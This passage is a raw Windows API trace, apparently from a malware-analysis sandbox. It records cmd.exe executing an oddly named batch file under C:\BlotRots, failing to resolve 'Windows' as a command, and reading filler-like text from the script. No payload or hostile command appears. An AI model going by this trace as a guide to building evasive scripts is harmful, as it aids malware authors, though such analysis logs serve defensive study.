lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.545] GetLastError () returned 0x2 [0233.545] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.545] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.545] GetLastError () returned 0x2 [0233.545] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.545] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.546] GetLastError () returned 0x2 [0233.546] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.546] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.546] GetLastError () returned 0x2 [0233.546] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.546] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.546] GetLastError () returned 0x2 [0233.546] ??_V@YAXPEAX@Z () returned 0x1 [0233.547] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0233.549] malloc (_Size=0xffce) returned 0x20b0fa70920 [0233.549] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0233.549] malloc (_Size=0xffce) returned 0x20b0fa80900 [0233.549] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0233.549] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0233.549] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0233.549] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0233.550] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0233.550] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0233.550] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0233.550] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0233.550] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0233.550] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0233.550] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0233.550] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0233.550] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0233.550] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0233.550] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0233.550] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0233.550] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0233.550] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0233.550] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0233.550] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0233.550] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0233.550] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0233.550] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0233.550] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0233.550] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0233.550] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0233.550] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0233.550] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0233.550] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0233.550] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0233.550] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0233.550] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0233.550] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0233.550] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0233.550] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0233.550] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0233.550] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0233.551] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0233.551] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0233.551] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0233.551] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0233.551] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0233.551] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0233.551] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0233.551] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0233.551] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0233.551] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0233.551] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0233.551] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0233.551] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0233.551] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0233.551] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0233.551] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0233.551] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0233.551] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0233.551] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0233.551] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0233.551] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0233.551] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0233.551] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0233.551] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0233.551] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0233.551] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0233.551] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0233.551] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0233.551] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0233.551] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0233.551] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0233.551] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0233.551] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0233.551] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0233.552] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0233.552] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0233.552] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0233.552] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0233.552] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0233.552] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0233.552] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0233.552] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0233.552] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0233.552] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0233.552] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0233.552] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0233.552] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0233.552] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0233.552] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0233.552] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0233.552] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0233.552] ??_V@YAXPEAX@Z () returned 0x1 [0233.552] GetProcessHeap () returned 0x20b0f920000 [0233.552] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0233.552] GetProcessHeap () returned 0x20b0f920000 [0233.553] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xba) returned 0x20b0f9574b0 [0233.553] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0233.553] malloc (_Size=0xffce) returned 0x20b0fa80900 [0233.553] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0233.553] GetProcessHeap () returned 0x20b0f920000 [0233.554] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0233.555] SetErrorMode (uMode=0x0) returned 0x0 [0233.555] SetErrorMode (uMode=0x1) returned 0x0 [0233.555] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0233.555] SetErrorMode (uMode=0x0) returned 0x1 [0233.555] GetProcessHeap () returned 0x20b0f920000 [0233.555] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0233.555] GetProcessHeap () returned 0x20b0f920000 [0233.555] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0233.555] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0233.555] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0233.555] GetProcessHeap () returned 0x20b0f920000 [0233.555] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947a50 [0233.555] GetProcessHeap () returned 0x20b0f920000 [0233.555] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0233.555] GetProcessHeap () returned 0x20b0f920000 [0233.555] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0233.555] GetProcessHeap () returned 0x20b0f920000 [0233.556] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0233.556] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0233.556] GetProcessHeap () returned 0x20b0f920000 [0233.556] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f9470a0 [0233.556] GetProcessHeap () returned 0x20b0f920000 [0233.556] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9470a0, Size=0x7e) returned 0x20b0f956d90 [0233.556] GetProcessHeap () returned 0x20b0f920000 [0233.556] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956d90) returned 0x7e [0233.556] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.556] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d0f0 [0233.556] FindClose (in: hFindFile=0x20b0f92d0f0 | out: hFindFile=0x20b0f92d0f0) returned 1 [0233.556] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.557] GetLastError () returned 0x2 [0233.557] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.557] GetLastError () returned 0x2 [0233.557] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.557] GetLastError () returned 0x2 [0233.557] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.558] GetLastError () returned 0x2 [0233.558] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.558] GetLastError () returned 0x2 [0233.558] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.558] GetLastError () returned 0x2 [0233.558] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.558] GetLastError () returned 0x2 [0233.558] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.559] GetLastError () returned 0x2 [0233.559] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.559] GetLastError () returned 0x2 [0233.559] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.559] GetLastError () returned 0x2 [0233.559] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.560] GetLastError () returned 0x2 [0233.560] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.560] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.560] GetLastError () returned 0x2 [0233.560] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.560] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d390 [0233.560] FindClose (in: hFindFile=0x20b0f92d390 | out: hFindFile=0x20b0f92d390) returned 1 [0233.561] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.561] GetLastError () returned 0x2 [0233.561] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.561] GetLastError () returned 0x2 [0233.561] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.561] GetLastError () returned 0x2 [0233.561] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.562] GetLastError () returned 0x2 [0233.562] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.562] GetLastError () returned 0x2 [0233.562] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.562] GetLastError () returned 0x2 [0233.562] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.563] GetLastError () returned 0x2 [0233.563] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.563] GetLastError () returned 0x2 [0233.563] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.563] GetLastError () returned 0x2 [0233.563] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.563] GetLastError () returned 0x2 [0233.564] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.564] GetLastError () returned 0x2 [0233.564] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.564] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.564] GetLastError () returned 0x2 [0233.564] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.565] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.565] GetLastError () returned 0x2 [0233.565] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.565] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.565] GetLastError () returned 0x2 [0233.565] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.565] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.566] GetLastError () returned 0x2 [0233.566] ??_V@YAXPEAX@Z () returned 0x1 [0233.566] _get_osfhandle (_FileHandle=2) returned 0x54 [0233.566] GetFileType (hFile=0x54) returned 0x2 [0233.566] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0233.566] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0233.569] _get_osfhandle (_FileHandle=2) returned 0x54 [0233.569] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0233.570] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0233.570] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0233.570] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0233.578] ??_V@YAXPEAX@Z () returned 0x1 [0233.579] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.579] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0233.582] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.582] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0233.582] _get_osfhandle (_FileHandle=0) returned 0x4c [0233.582] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0233.582] SetConsoleInputExeNameW () returned 0x1 [0233.582] GetConsoleOutputCP () returned 0x1b5 [0233.583] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0233.583] SetThreadUILanguage (LangId=0x0) returned 0x409 [0233.583] ??_V@YAXPEAX@Z () returned 0x1 [0233.585] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0233.585] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0233.585] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.585] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x16ca [0233.585] GetProcessHeap () returned 0x20b0f920000 [0233.585] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956d90) returned 1 [0233.585] GetProcessHeap () returned 0x20b0f920000 [0233.585] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0233.585] GetProcessHeap () returned 0x20b0f920000 [0233.585] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947a50) returned 1 [0233.585] GetProcessHeap () returned 0x20b0f920000 [0233.585] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0233.585] GetProcessHeap () returned 0x20b0f920000 [0233.585] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9574b0) returned 1 [0233.585] GetProcessHeap () returned 0x20b0f920000 [0233.585] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0233.585] GetProcessHeap () returned 0x20b0f920000 [0233.585] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956a30) returned 1 [0233.585] GetProcessHeap () returned 0x20b0f920000 [0233.585] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0233.585] GetProcessHeap () returned 0x20b0f920000 [0233.585] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947890) returned 1 [0233.585] GetProcessHeap () returned 0x20b0f920000 [0233.585] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0233.586] GetProcessHeap () returned 0x20b0f920000 [0233.586] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9259d0) returned 1 [0233.586] GetProcessHeap () returned 0x20b0f920000 [0233.586] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0233.586] GetProcessHeap () returned 0x20b0f920000 [0233.586] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0233.586] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.586] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x16ca [0233.586] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xeb, lpOverlapped=0x0) returned 1 [0233.586] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5843, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x16d3 [0233.586] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\ndows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, 